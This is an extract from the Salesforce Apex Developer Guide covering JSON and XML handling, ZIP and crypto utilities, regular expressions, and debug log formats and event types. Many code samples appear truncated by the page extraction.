JavaScript Object Notation (JSON) support in Apex enables the serialization of Apex objects into JSON format and the deserialization of
serialized JSON content.
Apex provides a set of classes that expose methods for JSON serialization and deserialization. The following table describes the classes
available.
Class Description
System.JSON Contains methods for serializing Apex objects into JSON format
and deserializing JSON content that was serialized using the
serialize method in this class.
System.JSONGenerator Contains methods used to serialize objects into JSON content using
the standard JSON encoding.
615
Apex Developer Guide Integration and Apex Utilities
The System.JSONToken enumeration contains the tokens used for JSON parsing.
Methods in these classes throw a JSONException if an issue is encountered during execution.
JSON Support Considerations
• JSON serialization and deserialization support is available for sObjects (standard objects and custom objects), Apex primitive
and collection types, return types of Database methods (such as SaveResult and DeleteResult), and instances of your Apex classes.
• Only custom objects, which are sObject types of managed packages can be serialized from code that is external to the
managed package. Objects that are instances of Apex classes defined in the managed package can't be serialized.
• A Map object is serializable into JSON only if it uses one of the following data types as a key.
– Boolean
– Date
– DateTime
– Decimal
– Double
– Enum
– Id
– Integer
– Long
– String
– Time
• When an object is declared as the parent type but is set to an instance of the subtype, some data can be lost. The object gets
serialized and deserialized as the parent type and any fields that are specific to the subtype are lost.
• An object that has a reference to itself won’t get serialized and causes a JSONException to be thrown.
• Reference graphs that reference the same object twice are deserialized and cause multiple copies of the referenced object to
be generated.
• The System.JSONParser data type isn’t serializable. If you try to create an instance of a serializable class, such as a Visualforce
controller, that has a member variable of type System.JSONParser, you receive an exception. To use JSONParser in
a serializable class, use a local variable instead in your method.
616
Apex Developer Guide Integration and Apex Utilities
JSON Parsing
Use the JSONParser class methods to parse JSON-encoded content. These methods enable you to parse a JSON-formatted
response that's returned from a call to an external service, such as a web service callout.
System.assertEquals(invoices.size(), deserializedInvoices.size());
Integer i=0;
for (InvoiceStatement deserializedInvoice :deserializedInvoices) {
system.debug('Deserialized:' + deserializedInvoice.invoiceNumber + ','
+ deserializedInvoice.statementDate.formatGmt('MM/dd/yyyy HH:mm:ss.SSS')
+ ', ' + deserializedInvoice.totalPrice);
617
Apex Developer Guide Integration and Apex Utilities
// In v27.0 and earlier, the string includes the null field and looks like the following.
// {"attributes":{...},"Id":"001D000000Jsm0WIAR","Name":"Acme","Website":null}
// In v28.0 and later, the string doesn’t include the null field and looks like
618
Apex Developer Guide Integration and Apex Utilities
// the following.
// {"attributes":{...},"Name":"Acme","Id":"001D000000Jsm0WIAR"}}
Serialization of IDs
In API version 34.0 and earlier, ID comparison using == fails for IDs that have been through roundtrip JSON serialization and
deserialization.
SEE ALSO:
Apex Reference Guide: JSON Class
JSON Generator
Using the JSONGenerator class methods, you can generate standard JSON-encoded content.
You can construct JSON content, element by element, using the standard JSON encoding. To do so, use the methods in the
JSONGenerator class.
JSONGenerator Sample
This example generates a JSON string in pretty print format by using the methods of the JSONGenerator class. The example first
adds a number field and a string field, and then adds a field to contain an object field of a list of integers, which gets deserialized properly.
Next, it adds the A object into the Object A field, which also gets deserialized.
public class JSONGeneratorSample{
public class A {
String str;
619
Apex Developer Guide Integration and Apex Utilities
gen.writeFieldName('ghi');
gen.writeStartObject();
gen.writeObjectField('aaa', intlist);
gen.writeEndObject();
gen.writeFieldName('Object A');
gen.writeObject(x);
gen.writeEndObject();
System.assertEquals('{\n' +
' "abc" : 1.21,\n' +
' "def" : "xyz",\n' +
' "ghi" : {\n' +
' "aaa" : [ 1, 2, 3 ]\n' +
' },\n' +
' "Object A" : {\n' +
' "str" : "X"\n' +
' }\n' +
'}', pretty);
}
}
SEE ALSO:
Apex Reference Guide: JSONGenerator Class
JSON Parsing
Use the JSONParser class methods to parse JSON-encoded content. These methods enable you to parse a JSON-formatted response
that's returned from a call to an external service, such as a web service callout.
The following are samples that show how to parse JSON strings.
620
Apex Developer Guide Integration and Apex Utilities
request.setMethod('GET');
// Set the request header for JSON content type
request.setHeader('Accept', 'application/json');
if (parser.getCurrentToken() == JSONToken.FIELD_NAME) {
switch on parser.getText() {
when 'label' {
// Advance to the label value.
parser.nextToken();
label = parser.getText();
}
when 'version' {
// Advance to the version value.
parser.nextToken();
version = Double.valueOf(parser.getText());
}
}
}
621
Apex Developer Guide Integration and Apex Utilities
Invoice class that is defined as an inner class. Because each invoice contains line items, the class that represents the corresponding
line item type, the LineItem class, is also defined as an inner class. Add this sample code to a class to use it.
public static void parseJSONString() {
String jsonStr =
'{"invoiceList":[' +
'{"totalPrice":5.5,"statementDate":"2011-10-04T16:58:54.858Z","lineItems":[' +
'{"UnitPrice":1.0,"Quantity":5.0,"ProductName":"Pencil"},' +
'{"UnitPrice":0.5,"Quantity":1.0,"ProductName":"Eraser"}],' +
'"invoiceNumber":1},' +
'{"totalPrice":11.5,"statementDate":"2011-10-04T16:58:54.858Z","lineItems":[' +
'{"UnitPrice":6.0,"Quantity":1.0,"ProductName":"Notebook"},' +
'{"UnitPrice":2.5,"Quantity":1.0,"ProductName":"Ruler"},' +
'{"UnitPrice":1.5,"Quantity":2.0,"ProductName":"Pen"}],"invoiceNumber":2}' +
']}';
String s = JSON.serialize(inv);
system.debug('Serialized invoice: ' + s);
622
Apex Developer Guide Integration and Apex Utilities
}
}
SEE ALSO:
Apex Reference Guide: JSONParser Class
XML Support
Apex provides utility classes that enable the creation and parsing of XML content using streams and the DOM.
This section contains details about XML support.
623
Apex Developer Guide Integration and Apex Utilities
XmlStreamReader Example
The following example processes an XML string.
public class XmlStreamReaderDemo {
// Parse through the XML, determine the author and the characters
Book parseBook(XmlStreamReader reader) {
Book book = new Book();
book.author = reader.getAttributeValue(null, 'author');
boolean isSafeToGetNextXmlElement = true;
while(isSafeToGetNextXmlElement) {
624
Apex Developer Guide Integration and Apex Utilities
if (reader.getEventType() == XmlTag.END_ELEMENT) {
break;
} else if (reader.getEventType() == XmlTag.CHARACTERS) {
book.name = reader.getText();
}
// Always use hasNext() before calling next() to confirm
// that we have not reached the end of the stream
if (reader.hasNext()) {
reader.next();
} else {
isSafeToGetNextXmlElement = false;
break;
}
}
return book;
}
}
@isTest
private class XmlStreamReaderDemoTest {
// Test that the XML string contains specific values
static testMethod void testBookParser() {
System.debug(books.size());
SEE ALSO:
Apex Reference Guide: XmlStreamReader Class
625
Apex Developer Guide Integration and Apex Utilities
@isTest
private class XmlWriterDemoTest {
static TestMethod void basicTest() {
XmlWriterDemo demo = new XmlWriterDemo();
String result = demo.getXml();
String expected = '<?xml version="1.0"?><?target data?>' +
'<m:Library xmlns:m="http://www.book.com">' +
'<!--Book starts here-->' +
'<![CDATA[<Cdata> I like CData </Cdata>]]>' +
'<book xmlns="http://www.defns.com" author="Manoj">This is my
book</book><ISBN/></m:Library>';
System.assert(result == expected);
}
}
SEE ALSO:
Apex Reference Guide: XmlStreamWriter Class
626
Apex Developer Guide Integration and Apex Utilities
XML Namespaces
An XML namespace is a collection of names identified by a URI reference and used in XML documents to uniquely identify element types
and attribute names. Names in XML namespaces may appear as qualified names, which contain a single colon, separating the name
into a namespace prefix and a local part. The prefix, which is mapped to a URI reference, selects a namespace. The combination of the
universally managed URI namespace and the document's own namespace produces identifiers that are universally unique.
The following XML element has a namespace of http://my.name.space and a prefix of myprefix.
<sampleElement xmlns:myprefix="http://my.name.space" />
Document Example
For the purposes of the sample below, assume that the url argument passed into the parseResponseDom method returns this
XML response:
<address>
<name>Kirk Stevens</name>
<street1>808 State St</street1>
<street2>Apt. 2</street2>
<city>Palookaville</city>
<state>PA</state>
<country>USA</country>
</address>
The following example illustrates how to use DOM classes to parse the XML response returned in the body of a GET request:
public class DomDocument {
627
Apex Developer Guide Integration and Apex Utilities
This example contains three XML elements: name, firstName, and lastName. It contains five nodes: the three name, firstName,
and lastName element nodes, as well as two text nodes—Suvain and Singh. Note that the text within an element node is
considered to be a separate text node.
For more information about the methods shared by all enums, see Enum Methods.
628
Apex Developer Guide Integration and Apex Utilities
XmlNode Example
This example shows how to use XmlNode methods and namespaces to create an XML request.
public class DomNamespaceSample
{
public void sendRequest(String endpoint)
{
// Create the request envelope
DOM.Document doc = new DOM.Document();
dom.XmlNode envelope
= doc.createRootElement('Envelope', soapNS, 'soapenv');
envelope.setNamespace('xsi', xsi);
envelope.setAttributeNS('schemaLocation', soapNS, xsi, null);
dom.XmlNode body
= envelope.addChildElement('Body', soapNS, null);
System.debug(doc.toXmlString());
req.setBodyDocument(doc);
System.assertEquals(200, res.getStatusCode());
envelope = resDoc.getRootElement();
String messageId
= header.getChildElement('MessageID', wsa).getText();
System.debug(messageId);
629
Apex Developer Guide Integration and Apex Utilities
System.debug(resDoc.toXmlString());
System.debug(resDoc);
System.debug(header);
System.assertEquals(
'http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous',
header.getChildElement(
'ReplyTo', wsa).getChildElement('Address', wsa).getText());
System.assertEquals(
envelope.getChildElement('Body', soapNS).
getChildElement('echo', serviceNS).
getChildElement('something', 'http://something.else').
getChildElement(
'whatever', serviceNS).getAttribute('bb', null),
'cc');
System.assertEquals('classifieds',
envelope.getChildElement('Body', soapNS).
getChildElement('echo', serviceNS).
getChildElement('category', serviceNS).getText());
}
}
SEE ALSO:
Apex Reference Guide: Document Class
ZIP Support
Take advantage of a native Apex Zip library to create and extract ZIP archive files by using the class methods in the Compression
namespace.
You can compress multiple attachments or documents into an Apex blob that contains the ZIP archive. You can also specify the data to
be extracted from the zip archive, without uncompressing the entire ZIP archive. To optimize compression, you can specify a compression
method and compression level.
This example code extracts a JSON translation file from a callout response containing a ZIP archive by getting and extracting the specified
entry from the ZIP archive.
HttpRequest request = new HttpRequest();
request.setEndpoint('callout:My_Named_Credential/translationService');
request.setMethod('POST');
// Set request payload to translate...
630
Apex Developer Guide Integration and Apex Utilities
SEE ALSO:
Apex Reference Guide: Compression NameSpace
631
Apex Developer Guide Integration and Apex Utilities
'&Signature=' + macUrl);
req.setMethod('GET');
Http http = new Http();
try {
HttpResponse res = http.send(req);
System.debug('STATUS:'+res.getStatus());
System.debug('STATUS_CODE:'+res.getStatusCode());
System.debug('BODY: '+res.getBody());
} catch(System.CalloutException e) {
System.debug('ERROR: '+ e);
}
}
}
// Encrypt the data and have Salesforce generate the initialization vector
Blob encryptedData = Crypto.encryptWithManagedIV('AES256', cryptoKey, data);
The following is an example of writing a unit test for the encryptWithManagedIV and decryptWithManagedIV Crypto
methods.
@isTest
private class CryptoTest {
static testMethod void testValidDecryption() {
632
Apex Developer Guide Integration and Apex Utilities
}
}
}
SEE ALSO:
Apex Reference Guide: Crypto Class
Apex Reference Guide: EncodingUtil Class
This next example shows how to use convertToHex to compute a client response for HTTP Digest Authentication (RFC2617).
@isTest
private class SampleTest {
static testmethod void testConvertToHex() {
String myData = 'A Test String';
Blob hash = Crypto.generateDigest('SHA1',Blob.valueOf(myData));
String hexDigest = EncodingUtil.convertToHex(hash);
System.debug(hexDigest);
633
Apex Developer Guide Integration and Apex Utilities
}
}
SEE ALSO:
Apex Reference Guide: EncodingUtil Class
Note: In Apex, Patterns and Matchers, as well as regular expressions, are based on their counterparts in Java. See
http://java.sun.com/j2se/1.5.0/docs/api/index.html?java/util/regex/Pattern.html.
Many Matcher objects can share the same Pattern object, as shown in the following illustration:
Many Matcher objects can be created from the same Pattern object
Regular expressions in Apex follow the standard syntax for regular expressions used in Java. Any Java-based regular expression strings
can be easily imported into your Apex code.
Note: Salesforce limits the number of times an input sequence for a regular expression can be accessed to 1,000,000 times. If you
reach that limit, you receive a runtime error.
All regular expressions are specified as strings. Most regular expressions are first compiled into a Pattern object: only the String split
method takes a regular expression that isn't compiled.
Generally, after you compile a regular expression into a Pattern object, you only use the Pattern object once to create a Matcher object.
All further actions are then performed using the Matcher object. For example:
// First, instantiate a new Pattern object "MyPattern"
Pattern MyPattern = Pattern.compile('a*b');
634
Apex Developer Guide Integration and Apex Utilities
// You can use the system static method assert to verify the match
System.assert(MyMatcher.matches());
If you are only going to use a regular expression once, use the Pattern class matches method to compile the expression and
match a string against it in a single invocation. For example, the following is equivalent to the code above:
Boolean Test = Pattern.matches('a*b', 'aaaaab');
Using Regions
Using Match Operations
Using Bounds
Understanding Capturing Groups
Pattern and Matcher Example
Using Regions
A Matcher object finds matches in a subset of its input string called a region. The default region for a Matcher object is always the entirety
of the input string. However, you can change the start and end points of a region by using the region method, and you can query
the region's end points by using the regionStart and regionEnd methods.
The region method requires both a start and an end value. The following table provides examples of how to set one value without
setting the other.
635
Apex Developer Guide Integration and Apex Utilities
After you use any of these methods, you can find out more information about the previous match, that is, what was found, by using the
following Matcher class methods:
• end: Once a match is made, this method returns the position in the match string after the last character that was matched.
• start: Once a match is made, this method returns the position in the string of the first character that was matched.
• group: Once a match is made, this method returns the subsequence that was matched.
Using Bounds
By default, a region is delimited by anchoring bounds, which means that the line anchors (such as ^ or $) match at the region boundaries,
even if the region boundaries have been moved from the start and end of the input string. You can specify whether a region uses
anchoring bounds with the useAnchoringBounds method. By default, a region always uses anchoring bounds. If you set
useAnchoringBounds to false, the line anchors match only the true ends of the input string.
By default, all text located outside of a region is not searched, that is, the region has opaque bounds. However, using transparent bounds
it is possible to search the text outside of a region. Transparent bounds are only used when a region no longer contains the entire input
string. You can specify which type of bounds a region has by using the useTransparentBounds method.
Suppose you were searching the following string, and your region was only the word “STRING”:
This is a concatenated STRING of cats and dogs.
If you searched for the word “cat”, you wouldn't receive a match unless you had transparent bounds set.
636
Apex Developer Guide Integration and Apex Utilities
In the following example, the string passed in with the Matcher object matches the pattern since (a(b)?) matches the string 'ab'
- 'a' followed by 'b' once. It then matches the last 'a' - 'a' followed by 'b' not at all.
pattern myPattern = pattern.compile('(a(b)?)+');
matcher myMatcher = myPattern.matcher('aba');
System.assert(myMatcher.matches() && myMatcher.hitEnd());
// We have two groups: group 0 is always the whole pattern, and group 1 contains
// the substring that most recently matched--in this case, 'a'.
// So the following is true:
System.assert(myMatcher.groupCount() == 2 &&
myMatcher.group(0) == 'aba' &&
myMatcher.group(1) == 'a');
System.assert(myMatcher.end() == myMatcher.end(0));
// Since the offset after the last character matched is returned by end,
// and since both groups used the last input letter, that offset is 3
// Remember the offset starts its count at 0. So the following is also true:
System.assert(myMatcher.end() == 3 &&
myMatcher.end(0) == 3 &&
myMatcher.end(1) == 3);
In the following example, email addresses are normalized and duplicates are reported if there is a different top-level domain name or
subdomain for similar email addresses. For example, [email protected] is normalized to john@smithco.
class normalizeEmailAddresses{
637
Apex Developer Guide Debugging, Testing, and Deploying Apex
SEE ALSO:
Apex Reference Guide: Pattern Class
Apex Reference Guide: Matcher Class
Debugging Apex
Apex provides debugging support. You can debug your Apex code using the Developer Console and debug logs.
Testing Apex
Apex provides a testing framework that allows you to write unit tests, run your tests, check test results, and have code coverage
results.
Deploying Apex
You can't develop Apex in your Salesforce production org. Your development work is done in a sandbox, in a scratch org, or in a
Developer Edition org.
Distributing Apex Using Managed Packages
As an ISV or Salesforce partner, you can distribute Apex code to customer organizations using packages. Here we'll describe packages
and package versioning.
Debugging Apex
Apex provides debugging support. You can debug your Apex code using the Developer Console and debug logs.
To aid debugging in your code, Apex supports exception statements and custom exceptions. Also, Apex sends emails to developers for
unhandled exceptions.
1. Debug Log
2. Exceptions in Apex
Exceptions note errors and other events that disrupt the normal flow of code execution. throw statements are used to generate
exceptions, while try, catch, and finally statements are used to gracefully recover from exceptions.
638
Apex Developer Guide Debugging Apex
Debug Log
A debug log can record database operations, system processes, and errors that occur when executing a transaction or running unit tests.
Debug logs can contain information about:
• Database changes
• HTTP callouts
• Apex errors
• Resources used by Apex
• Automated workflow processes, such as:
– Workflow rules
– Assignment rules
– Approval processes
– Validation rules
Note: The debug log doesn’t include information from actions triggered by time-based workflows.
You can retain and manage debug logs for specific users, including yourself, and for classes and triggers. Setting class and trigger trace
flags doesn’t cause logs to be generated or saved. Class and trigger trace flags override other logging levels, including logging levels set
by user trace flags, but they don’t cause logging to occur. If logging is enabled when classes or triggers execute, logs are generated at
the time of execution.
To view a debug log from Setup, enter Debug Logs in the Quick Find box, then select Debug Logs. Then click View next to
the debug log that you want to examine. Click Download to download the log as an XML file.
Warning: If the debug log trace flag is enabled on a frequently accessed Apex class or for a user executing requests often,
the request can result in failure, regardless of the time window and the size of the debug logs.
• When your org accumulates more than 1,000 MB of debug logs, we prevent users in the org from adding or editing trace flags. To
add or edit trace flags so that you can generate more logs after you reach the limit, delete some debug logs.
Note: Session IDs are replaced with "SESSION_ID_REMOVED" in Apex debug logs
639
Apex Developer Guide Debugging Apex
Header
The header contains the following information.
• The version of the API used during the transaction.
• The log category and level used to generate the log. For example:
The following is an example of a header.
63.0
APEX_CODE,DEBUG;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;SYSTEM,DEBUG;VALIDATION,INFO;VISUALFORCE,INFO;
WORKFLOW,INFO
In this example, the API version is 63.0, and the following debug log categories and levels have been set.
Callout INFO
Database INFO
System DEBUG
Validation INFO
Visualforce INFO
Workflow INFO
Warning: If the Apex Code log level is set to FINEST, the debug log includes details of all Apex variable assignments. Ensure
that the Apex Code being traced doesn’t handle sensitive data. Before enabling FINEST log level, be sure to understand the
level of sensitive data your organization's Apex handles. Be careful with processes such as community users self-registration
where user passwords can be assigned to an Apex string variable.
Execution Units
An execution unit is equivalent to a transaction. It contains everything that occurred within the transaction. EXECUTION_STARTED
and EXECUTION_FINISHED delimit an execution unit.
Code Units
A code unit is a discrete unit of work within a transaction. For example, a trigger is one unit of code, as is a webservice method
or a validation rule.
CODE_UNIT_STARTED and CODE_UNIT_FINISHED delimit units of code. Units of work can embed other units of work.
For example:
EXECUTION_STARTED
CODE_UNIT_STARTED|[EXTERNAL]execute_anonymous_apex
CODE_UNIT_STARTED|[EXTERNAL]MyTrigger on Account trigger event BeforeInsert for
[new]|__sfdc_trigger/MyTrigger
CODE_UNIT_FINISHED <-- The trigger ends
CODE_UNIT_FINISHED <-- The executeAnonymous ends
EXECUTION_FINISHED
640
Apex Developer Guide Debugging Apex
641
Apex Developer Guide Debugging Apex
• Heap usage is accurately reported in the debug log and an exception is thrown whenever an Apex Heap Size error occurs. At
other times, the heap size shown in the debug log is the largest heap size that was calculated during the transaction. To reduce
the overhead on small transactions, minimal heap usage doesn’t warrant an accurate calculation and is reported as 0(zero).
The following is an example debug log.
37.0 APEX_CODE,FINEST;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;SYSTEM,DEBUG;
VALIDATION,INFO;VISUALFORCE,INFO;WORKFLOW,INFO
Execute Anonymous: System.debug('Hello World!');
16:06:58.18 (18043585)|USER_INFO|[EXTERNAL]|005D0000001bYPN|[email protected]|
Pacific Standard Time|GMT-08:00
16:06:58.18 (18348659)|EXECUTION_STARTED
16:06:58.18 (18383790)|CODE_UNIT_STARTED|[EXTERNAL]|execute_anonymous_apex
16:06:58.18 (23822880)|HEAP_ALLOCATE|[72]|Bytes:3
16:06:58.18 (24271272)|HEAP_ALLOCATE|[77]|Bytes:152
16:06:58.18 (24691098)|HEAP_ALLOCATE|[342]|Bytes:408
16:06:58.18 (25306695)|HEAP_ALLOCATE|[355]|Bytes:408
16:06:58.18 (25787912)|HEAP_ALLOCATE|[467]|Bytes:48
16:06:58.18 (26415871)|HEAP_ALLOCATE|[139]|Bytes:6
16:06:58.18 (26979574)|HEAP_ALLOCATE|[EXTERNAL]|Bytes:1
16:06:58.18 (27384663)|STATEMENT_EXECUTE|[1]
16:06:58.18 (27414067)|STATEMENT_EXECUTE|[1]
16:06:58.18 (27458836)|HEAP_ALLOCATE|[1]|Bytes:12
16:06:58.18 (27612700)|HEAP_ALLOCATE|[50]|Bytes:5
16:06:58.18 (27768171)|HEAP_ALLOCATE|[56]|Bytes:5
16:06:58.18 (27877126)|HEAP_ALLOCATE|[64]|Bytes:7
16:06:58.18 (49244886)|USER_DEBUG|[1]|DEBUG|Hello World!
16:06:58.49 (49590539)|CUMULATIVE_LIMIT_USAGE
16:06:58.49 (49590539)|LIMIT_USAGE_FOR_NS|(default)|
Number of SOQL queries: 0 out of 100
Number of query rows: 0 out of 50000
Number of SOSL queries: 0 out of 20
Number of DML statements: 0 out of 150
Number of DML rows: 0 out of 10000
Maximum CPU time: 0 out of 10000
Maximum heap size: 0 out of 6000000
Number of callouts: 0 out of 100
Number of Email Invocations: 0 out of 10
Number of future calls: 0 out of 50
Number of queueable jobs added to the queue: 0 out of 50
Number of Mobile Apex push calls: 0 out of 10
16:06:58.49 (49590539)|CUMULATIVE_LIMIT_USAGE_END
16:06:58.18 (52417923)|CODE_UNIT_FINISHED|execute_anonymous_apex
16:06:58.18 (54114689)|EXECUTION_FINISHED
642
Apex Developer Guide Debugging Apex
When you override the debug log levels for a class or trigger, these debug levels also apply to the class methods that your class or trigger
calls and the triggers that get executed as a result. All class methods and triggers in the execution path inherit the debug log settings
from their caller, unless they have these settings overridden.
The following diagram illustrates overriding debug log levels at the class and trigger level. For this scenario, suppose Class1 is causing
some issues that you want to take a closer look at. To this end, the debug log levels of Class1 are raised to the finest granularity.
Class3 doesn't override these log levels, and therefore inherits the granular log filters of Class1. However, UtilityClass has
already been tested and is known to work properly, so it has its log filters turned off. Similarly, Class2 isn't in the code path that causes
a problem, therefore it has its logging minimized to log only errors for the Apex Code category. Trigger2 inherits these log settings
from Class2.
2. Class1 calls a method of Class3, which in turn calls a method of a utility class. For example:
public class Class1 {
public static void someMethod() {
Class3.thirdMethod();
}
}
643
Apex Developer Guide Debugging Apex
}
}
SEE ALSO:
Salesforce Help: Set Up Debug Logging
Salesforce Help: View Debug Logs
Salesforce Help: Delete Debug Logs
Database Access Logs rules and policy information for objects accessed from the UI, which can be used to
determine why an object isn’t accessible.
644
Apex Developer Guide Debugging Apex
NBA Includes information about Einstein Next Best Action activity, including strategy execution
details from Strategy Builder.
Validation Includes information about validation rules, such as the name of the rule and whether the
rule evaluated true or false.
Callout Includes the request-response XML that the server is sending and receiving from an external
web service. Useful when debugging issues related to using Lightning Platform web service
API calls or troubleshooting user access to external objects via Salesforce Connect.
Apex Code Includes information about Apex code. Can include information such as log messages
generated by DML statements, inline SOQL or SOSL queries, the start and completion of any
triggers, and the start and completion of any test method.
Apex Profiling Includes cumulative profiling information, such as the limits for your namespace and the
number of emails sent.
Visualforce Includes information about Visualforce events, including serialization and deserialization of
the view state or the evaluation of a formula field in a Visualforce page.
System Includes information about calls to all system methods such as the System.debug
method.
Note: Not all levels are available for all categories. Only the levels that correspond to one or more events are available.
• NONE
• ERROR
• WARN
• INFO
• DEBUG
• FINE
• FINER
• FINEST
Important: Before running a deployment, verify that the Apex Code log level isn’t set to FINEST. Otherwise, the deployment is
likely to take longer than expected. If the Developer Console is open, the log levels in the Developer Console affect all logs, including
logs created during a deployment.
645
Apex Developer Guide Debugging Apex
• timestamp: Consists of the time when the event occurred and a value between parentheses. The time is in the user’s time zone and
in the format HH:mm:ss.SSS. The value in parentheses represents the time elapsed in nanoseconds since the start of the request.
The elapsed time value is excluded from logs reviewed in the Developer Console when you use the Execution Log view. However,
you can see the elapsed time when you use the Raw Log view. To open the Raw Log view, from the Developer Console’s Logs tab,
right-click the name of a log and select Open Raw Log.
• event identifier: Specifies the event that triggered the debug log entry, such as SAVEPOINT_RESET or VALIDATION_RULE.
Also includes additional information logged with that event, such as the method name or the line and character number where the
code was executed. If a line number can’t be located, [EXTERNAL] is logged instead. For example, [EXTERNAL] is logged for
built-in Apex classes or code that’s in a managed package.
For some events, such as CODE_UNIT_STARTED, CODE_UNIT_FINISHED, VF_APEX_CALL_START,
VF_APEX_CALL_END, CONSTRUCTOR_ENTRY, and CONSTRUCTOR_EXIT, the end of the event identifier includes a pipe
(|) followed by a typeRef for an Apex class or trigger.
For a trigger, the typeRef begins with the SFDC trigger prefix __sfdc_trigger/. For example,
__sfdc_trigger/YourTriggerName or __sfdc_trigger/YourNamespace/YourTriggerName.
For a class, the typeRef uses the format YourClass, YourClass$YourInnerClass, or
YourNamespace/YourClass$YourInnerClass.
646
Apex Developer Guide Debugging Apex
This log line is recorded when the test reaches line 5 in the code.
15:51:01.071 (55856000)|DML_BEGIN|[5]|Op:Insert|Type:Invoice_Statement__c|Rows:1
• Object name:
Type:Invoice_Statement__c
These event types are logged. The table lists which fields or other information are logged with each event, and which combination of
log level and category causes an event to be logged.
647
Apex Developer Guide Debugging Apex
CODE_UNIT_FINISHED Line number, code unit name, such as MyTrigger Apex Code ERROR and
on Account trigger event above
BeforeInsert for [new], and:
• For Apex methods, the namespace (if applicable),
class name, and method name; for example,
YourNamespace.YourClass.yourMethod()
or YourClass.yourMethod()
• For Apex triggers, a typeRef; for example,
__sfdc_trigger/YourNamespace.YourTrigger
or __sfdc_trigger/YourTrigger
CODE_UNIT_STARTED Line number, code unit name, such as MyTrigger Apex Code ERROR and
on Account trigger event above
BeforeInsert for [new], and:
• For Apex methods, the namespace (if applicable),
class name, and method name; for example,
YourNamespace.YourClass.yourMethod()
or YourClass.yourMethod()
• For Apex triggers, a typeRef; for example,
__sfdc_trigger/YourTrigger
CONSTRUCTOR_ENTRY Line number, Apex class ID, the string <init>() Apex Code FINE and
with the types of parameters (if any) between the above
parentheses, and a typeRef; for example,
YourClass or
YourClass.YourInnerClass
CONSTRUCTOR_EXIT Line number, the string <init>() with the types Apex Code FINE and
of parameters (if any) between the parentheses, and above
a typeRef; for example, YourClass or
YourClass.YourInnerClass
648
Apex Developer Guide Debugging Apex
DATA_ACCESS_EVALUATION Request and Response for the data access request. Data Access FINE
Used regardless of the data space or policy being
accessed.
EVENT_SERVICE_PUB_DETAIL Subscription IDs, ID of the user who published the Workflow FINER and
event, and event message data above
EVENT_SERVICE_SUB_BEGIN Event type and action (subscribe or unsubscribe) Workflow INFO and
above
EVENT_SERVICE_SUB_END Event type and action (subscribe or unsubscribe) Workflow INFO and
above
EXCEPTION_THROWN Line number, exception type, and message Apex Code INFO and
above
FATAL_ERROR Exception type, message, and stack trace Apex Code ERROR and
above
649
Apex Developer Guide Debugging Apex
FLOW_ASSIGNMENT_DETAIL Interview ID, reference, operator, and value Workflow FINER and
above
FLOW_BULK_ELEMENT_DETAIL Interview ID, element type, element name, number Workflow FINER and
of records above
FLOW_BULK_ELEMENT_END Interview ID, element type, element name, number Workflow FINE and
of records, and execution time above
FLOW_BULK_ELEMENT_LIMIT_USAGE Incremented usage toward a limit for this bulk Workflow FINER and
element. Each event displays the usage for one of above
these limits.
SOQL queries
SOQL query rows
SOSL queries
DML statements
DML rows
CPU time in ms
Heap size in bytes
Callouts
Email invocations
Future calls
Jobs in queue
Push notifications
FLOW_BULK_ELEMENT_NOT_SUPPORTED Operation, element name, and entity name that Workflow INFO and
doesn’t support bulk operations above
FLOW_CREATE_INTERVIEW_BEGIN Organization ID, definition ID, and version ID Workflow INFO and
above
FLOW_CREATE_INTERVIEW_ERROR Message, organization ID, definition ID, and version Workflow ERROR and
ID above
FLOW_ELEMENT_BEGIN Interview ID, element type, and element name Workflow FINE and
above
FLOW_ELEMENT_END Interview ID, element type, and element name Workflow FINE and
above
650
Apex Developer Guide Debugging Apex
FLOW_ELEMENT_ERROR Message, element type, and element name (spark not Workflow ERROR and
found) above
FLOW_ELEMENT_ERROR Message, element type, and element name (designer Workflow ERROR and
exception) above
FLOW_ELEMENT_ERROR Message, element type, and element name (designer Workflow ERROR and
limit exceeded) above
FLOW_ELEMENT_ERROR Message, element type, and element name (designer Workflow ERROR and
runtime exception) above
FLOW_ELEMENT_FAULT Message, element type, and element name (fault path Workflow WARNING
taken) and above
FLOW_ELEMENT_LIMIT_USAGE Incremented usage toward a limit for this element. Workflow FINER and
Each event displays the usage for one of these limits. above
SOQL queries
SOQL query rows
SOSL queries
DML statements
DML rows
CPU time in ms
Heap size in bytes
Callouts
Email invocations
Future calls
Jobs in queue
Push notifications
FLOW_INTERVIEW_FINISHED_LIMIT_USAGE Usage toward a limit when the interview finishes. Each Workflow FINER and
event displays the usage for one of these limits. above
SOQL queries
SOQL query rows
SOSL queries
DML statements
DML rows
CPU time in ms
Heap size in bytes
Callouts
Email invocations
Future calls
Jobs in queue
Push notifications
FLOW_INTERVIEW_PAUSED Interview ID, flow name, and why the user paused Workflow INFO and
above
651
Apex Developer Guide Debugging Apex
FLOW_RULE_DETAIL Interview ID, rule name, and result Workflow FINER and
above
FLOW_START_INTERVIEWS_ERROR Message, interview ID, and flow name Workflow ERROR and
above
FLOW_START_INTERVIEW_LIMIT_USAGE Usage toward a limit at the interview’s start time. Each Workflow FINER and
event displays the usage for one of these limits. above
SOQL queries
SOQL query rows
SOSL queries
DML statements
DML rows
CPU time in ms
Heap size in bytes
Callouts
Email invocations
Future calls
Jobs in queue
Push notifications
FLOW_START_SCHEDULED_RECORDS Message and number of records that the flow runs Workflow INFO and
for above
FLOW_SUBFLOW_DETAIL Interview ID, name, definition ID, and version ID Workflow FINER and
above
FLOW_WAIT_EVENT_RESUMING_DETAIL Interview ID, element name, event name, and event Workflow FINER and
type above
652
Apex Developer Guide Debugging Apex
FLOW_WAIT_RESUMING_DETAIL Interview ID, element name, and persisted interview Workflow FINER and
ID above
FLOW_WAIT_WAITING_DETAIL Interview ID, element name, number of events that Workflow FINER and
the element is waiting for, and persisted interview ID above
HEAP_ALLOCATE Line number and number of bytes Apex Code FINER and
above
HEAP_DEALLOCATE Line number and number of bytes deallocated Apex Code FINER and
above
Number of callouts
describes
Number of System.runAs()
653
Apex Developer Guide Debugging Apex
invocations
METHOD_ENTRY Line number, the Lightning Platform ID of the class, Apex Code FINE and
and method signature (with namespace, if applicable) above
METHOD_EXIT Line number, the Lightning Platform ID of the class, Apex Code FINE and
and method signature (with namespace, if applicable) above
